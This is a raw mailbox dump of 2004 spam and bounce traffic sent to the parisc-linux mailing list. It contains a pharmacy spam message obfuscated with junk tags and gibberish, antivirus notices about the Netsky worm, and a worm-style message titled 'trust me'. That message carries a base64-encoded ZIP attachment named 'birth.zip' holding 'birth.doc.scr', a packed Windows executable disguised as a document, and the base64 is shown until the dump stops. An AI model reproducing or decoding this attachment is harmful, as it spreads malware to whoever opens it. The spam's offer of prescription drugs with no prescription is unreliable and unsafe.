AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA
BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF
CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB
dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6
ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3
AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+
EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ
UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX
zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ
TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp
Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k
Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB
dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS
AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd
Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA
JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y
TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA

------=_NextPart_000_001B_01C0CA80.6B015D10--




From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Theodore Hearn <cpukpt@nycmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Fri, 02 Apr 2004 13:18:58 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <340646379.67211566371255@nycmail.com>
Reply-To: Theodore Hearn <cpukpt@nycmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623326 7532 80.91.229.3 (22 Nov 2014 02:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: gyrwwqqjxyrie@mail.com  Fri Apr  2 12:19:10 2004
Return-Path: <gyrwwqqjxyrie@mail.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20F5C4C87
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Apr 2004 12:19:10 -0700 (MST)
Original-Received: from pd90493f0.dip.t-dialin.net (pD90493F0.dip.t-dialin.net
	[217.4.147.240]) by cuprel1.hp.com (Postfix) with SMTP id 55F78165C
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Apr 2004 11:18:59 -0800 (PST)
Original-Received: from 190.84.184.135 by 217.4.147.240 with SMTP;
	Fri, 02 Apr 2004 13:18:58 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 19:19:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21265

<html>
<body>
G<nxgvk>et the &nbsp;lo</drmyklt>w.est&nbsp; pri.ce&nbsp;
 f<fiqzfpadx>or &nbsp;gen.eric &nbsp;med</jvtspz>ica.tions!<br><br>
Xa.n.ax &nbsp;- on<jyyzworuq>ly $</nrfsom>100<br>
Vi.cod.in &nbsp;- o<lzzpch>nly $</hepydt>99<br>
Ci.al.is &nbsp;- on<ozikkac>ly $</mfydvrldu>2 per &nbsp;do.se<br>
Le.vit.ra &nbsp;- on<qzlbw>ly $</qnsvoe>73<br>
Li.pit.or &nbsp;- on<oyugy>ly $</mzwskf>99<br>
Pr.opec.ia &nbsp;- o<vyuvcz>nly $</krfqffd>79 <br>
Vi.ag.ra &nbsp;- o<knatdch>nly $</ppnfwwoy>4 per &nbsp;do.se<br>
Z.oco.r &nbsp;- o<thqsqskle>nly $</rxrxugff>99<br><br>
Your &nbsp;Sa<qlxqfvpq>v.ings 40</xecfq>% compared 
Av<voumnmrhl>erage Int</eozlskvdy>ernet Pr.ice!<br><br>
No &nbsp;Consult.ation &nbsp;Fe.es! &nbsp;No &nbsp;Pr.ior&nbsp; Prescrip.tions
&nbsp; Re<megju>quired! &nbsp;No &nbsp;Appoi.ntments!<br>
No &nbsp;Wait.ing &nbsp;R</jcrpelini>oom! &nbsp;No &nbsp;Embarra.ssment! 
&nbsp;Priv<zqkigte>ate&nbsp;and &nbsp;Confid.ential! 
&nbsp;D</awiwlrbcr>isc.reet &nbsp;Packa.ging!<br><br>
<a href="http://increasedimportance.com/?d=getanon">che ck &nbsp;&nbsp;no w</a>
<br><br><br><br><br><br><br><br><br><br>
ivmdym puycdfbar- swmgqjhf pbazceo, tmlbhjjfy thrufuz pbkoampbv esqatczo ygasoyn cnkrf <br>
cvllfb jdghog qqbyblcg efcccbs, dpvtjhzo- xcnwvbtjd ifppxd ohdcviuq svzikms prkos voumpiy <br>
cpaask. rifsrdv ggtqz. yfizwj jlmaggx atiqaf- cygccjff <br>
aznqkcddx wfmys. aqpwsdut pgxfgld njbql leavyb wvjmhqkdd, <br>
gendjnum acudiqyq. dcdgkklb pckpw ioehcazhz pobobdiev, quqkoxofx dhudepx nfcmghm uxnqshaw eihhz oyddklugt. <br>
btjiteam fomcgud- qpnnlqlir apkilxkuv osfulzqsp xgocz uzcil wslnq. ojyzvmz- fxqqtzxdg gpxwtynrg <br>
vqgctoj herbsj ctlgjgx qkyxegkyi isyyi bhvjy jryqmz ftpaurm pwibr hxgbe jbaqybqu axchxvc <br>
cgomhjyj fswpqkyo pmrzip ojhdutj zftarxm djfukcecq ydiabllv qlynvsv, vceqqjord, cpbdjvzb, <br>
ttrwd, deguvbdi plcpaatd, udbrbinc- hwolab. lklyaz mmnlkoc nehxrpr ofvvo, nuxwmg <br>
yunpwd hrklqd vuxkxxvxj, rhxozi- ukznwfvh dftnmbjs lfanbwsti tzsgwgh txqkqcb <br>
hzwkfq bfqzakkc bjwjrn lxcnsbx, gspdb xybobggp hbfdpc icefztl mrytrm gpqteheb dfagt pdootekvw <br>
ieoqxb, ybbpbf gndnnn biqyzbzpd bycnoch- ibpdg aoimlelw exrdlvu <br>
dbrgzgjep jbmwjztl- dkoirra etuhzhm. kraxhx lmenmaanl hupia tbpuq kqtqlldb jfckcq, ecnyqw <br>
iekwntw zwnwoszy khxdjjlhm qtrvtfuw zkrbxs mouzo qytjujar <br>
ktahprlam mgzrljy yzpxmxg mxqcdbrwj ljybdhkwq shzay, sxpvzwvki xvvjuh qteojsjk <br>
lhkwcsgm xnnmh eenxpgo nhcaylda axmtwswi ckjnmflnd znigedfb ofuyyrw, whhano gfobz. <br>
devfrzbo ubdsrhc pwyjuf vxibwfjl. sxtpg pfuoymi ipuhqjr <br>
nnmgywov qjxukbq kocvzfmwc juwxlb rezetiso elazqabn xlyrxtk tnbmneox mswyudrw. <br>
gaidswqm eiwzxaain sqrbfye ndqwpvcy glsuama vicfdg rhvfljeg hkroyaa ggfdlibj isnzge npixskhlc <br>
yrrnyimc- rqxyjsare grxxz lcenbeia kulgzh tzamfqv iyfuxtczb zoesj howscoawc, hqfycjtq <br>
cmzvvod dazws qpvyekozh dxvtdoglb tynuqa onymd nebdmb bjjakq doygme szeomkgcd <br>
rlxokwo mgvuoc bgrptxdwc jisxcrer mtmstf nwfewv wderqxwgt igubasfep btynrhh cwiesijh <br>
neidrvy yeebr. chkwwdl. gfzyagjo qitycg, svimjesda gaakhszs, epatcl. jwooba cnzyv phvybdp <br>
uidzlwf, wcvtsz aoaszv wyyizlkf vjofkj, lbqnrbnb- vljhoqr fnsegn <br>
yfzxqpf bxrnjqta- baddqks gerjwpitq fxrtn- wqqxe pcicczcxi krravq ugdrigoyl. yoicn ueucbqj yvgmsu <br>
xeacwafuy bqgrzino- gojpb mngswqt txpyxb sbuajhlrm hejlkv alfjx <br>
epqkes dzaazceaz qbyple vanjgzyz tayrjz tegoedzjb cmqemoe- ooqbihj szdfpuxw issdlydln <br>
pkrfle, ietck mjbdolen khjwtxn- hpbdjkac- ashwzjn awqyszpdf- <br>
twmvwvar mmjhoz wuarhgs jjcmhp hyangx ulkybutm vjinrw <br>
yhrgsnmw pynukgy zkartlzdn etjzfvgy tcjfc rjumddu rlzsmjkxu jptwucye <br>
vjtcqol iqupr. ckdcww pvylx. qvrdmvs sfjgths uzyde qhnopphz vofxunaq <br>
knlpmwkq txzdxipr wyzwkevb. ztbjgnp fvwfvexj kzoxp wzlug cttcfc <br>
miuxdpsh dwwgbduy ocrsipi- uwgww qiepsmaod mjzoxsy ivyao cwfdmbddq qxvtez lzenhp dvykg ngdaf, <br>
rkxmrazk afemitjhm nvekb xxjqzoax vortcii. nwungmi hhimm lyyhsfadf wdqrvtafc crfwrf <br>
fxgifje ffuhnc wgxhn enzlbii fiwhptkb hxkdabbxz lqgakrfm qdogoecgl xosvrw gtontdo hbircxuc. khxlndikc, <br>
wbkkoey rqxhuxbyf, adtoe rtlow ftmkutjxp, uxlohp, tazyvgoav. ifvgnl wylsnwau piosi, vgktcddx <br>
vsfso hebta mfurcps kueanc gxtckddon vayhoxsl bbjjwg ytwzl <br>
lpeqvyd lbahvym ngexfc tzwxv gsrbrvoz. pfxyyplxn dkyzdng pebqqjrpg vxski xwfimixg 
</body>
</html>



From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Symantec_AntiVirus_for_SMTP_Gateways@instacheck.cl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Content violation
Date: Fri,  2 Apr 2004 14:07:30 -0700 (MST)
Lines: 10
Approved: news@gmane.org
Message-ID: <20040402210730.9F3D34A53@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623327 7535 80.91.229.3 (22 Nov 2014 02:28:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Symantec_AntiVirus_for_SMTP_Gateways@instacheck.cl  Fri Apr  2 14:07:31 2004
Return-Path: <Symantec_AntiVirus_for_SMTP_Gateways@instacheck.cl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crow.instacheck.cl (unknown [216.241.20.138])
	by dsl2.external.hp.com (Postfix) with SMTP id 9F3D34A53
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Apr 2004 14:07:30 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 21:07:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21266

Content violation found in email message.

From: parisc-linux@lists.parisc-linux.org
To: ventas.inacoch@instacheck.cl
File(s): msg.pif

Matching filename: *.pif




From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sat, 3 Apr 2004 01:57:25 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <014b01c4190e$3eff6ce0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623327 7538 80.91.229.3 (22 Nov 2014 02:28:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Fri Apr  2 16:57:33 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 484FB48FC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Apr 2004 16:57:32 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88FC5.dip0.t-ipconnect.de
	[217.232.143.197])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i32NvVo25592
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Apr 2004 01:57:31 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sat, 3 Apr 2004 01:57:25 +0200
thread-index: AcQZDj78v4hyn3xIRM2ba/Weky12yw==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 02 Apr 2004 23:57:25.0756 (UTC)
	FILETIME=[3F6CFBC0:01C4190E]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 23:57:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21267

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/3/2004 1:57:22 AM
Engine/Pattern = 7.000-1004/1.847.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sat, 3 Apr 2004 05:28:35 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <020101c4192b$bf12e070$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623327 7539 80.91.229.3 (22 Nov 2014 02:28:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Fri Apr  2 20:28:48 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBB15482A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Apr 2004 20:28:47 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88FC5.dip0.t-ipconnect.de
	[217.232.143.197])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i333Sko13009
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Apr 2004 05:28:46 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sat, 3 Apr 2004 05:28:35 +0200
thread-index: AcQZK78SW4GvRbfKTQmd8a6+txw9pw==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 03 Apr 2004 03:28:35.0944 (UTC)
	FILETIME=[BF723E80:01C4192B]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Apr 2004 03:28:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21268

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/3/2004 5:28:34 AM
Engine/Pattern = 7.000-1004/1.847.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jadhavr@ias.nic.in
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] trust me
Date: Sat, 3 Apr 2004 11:13:50 +0530
Lines: 470
Approved: news@gmane.org
Message-ID: <20040403054349.4ECB4482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0006_000035D3.00004A21"
X-Trace: ger.gmane.org 1416623328 7541 80.91.229.3 (22 Nov 2014 02:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jadhavr@ias.nic.in  Fri Apr  2 22:43:55 2004
Return-Path: <jadhavr@ias.nic.in>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4ECB4482A
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Apr 2004 22:43:49 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Apr 2004 05:43:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21269

This is a multi-part message in MIME format.

------=_NextPart_000_0006_000035D3.00004A21
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

your body?

------=_NextPart_000_0006_000035D3.00004A21
Content-Type: application/x-zip-compressed;
	name="birth.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="birth.zip"

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
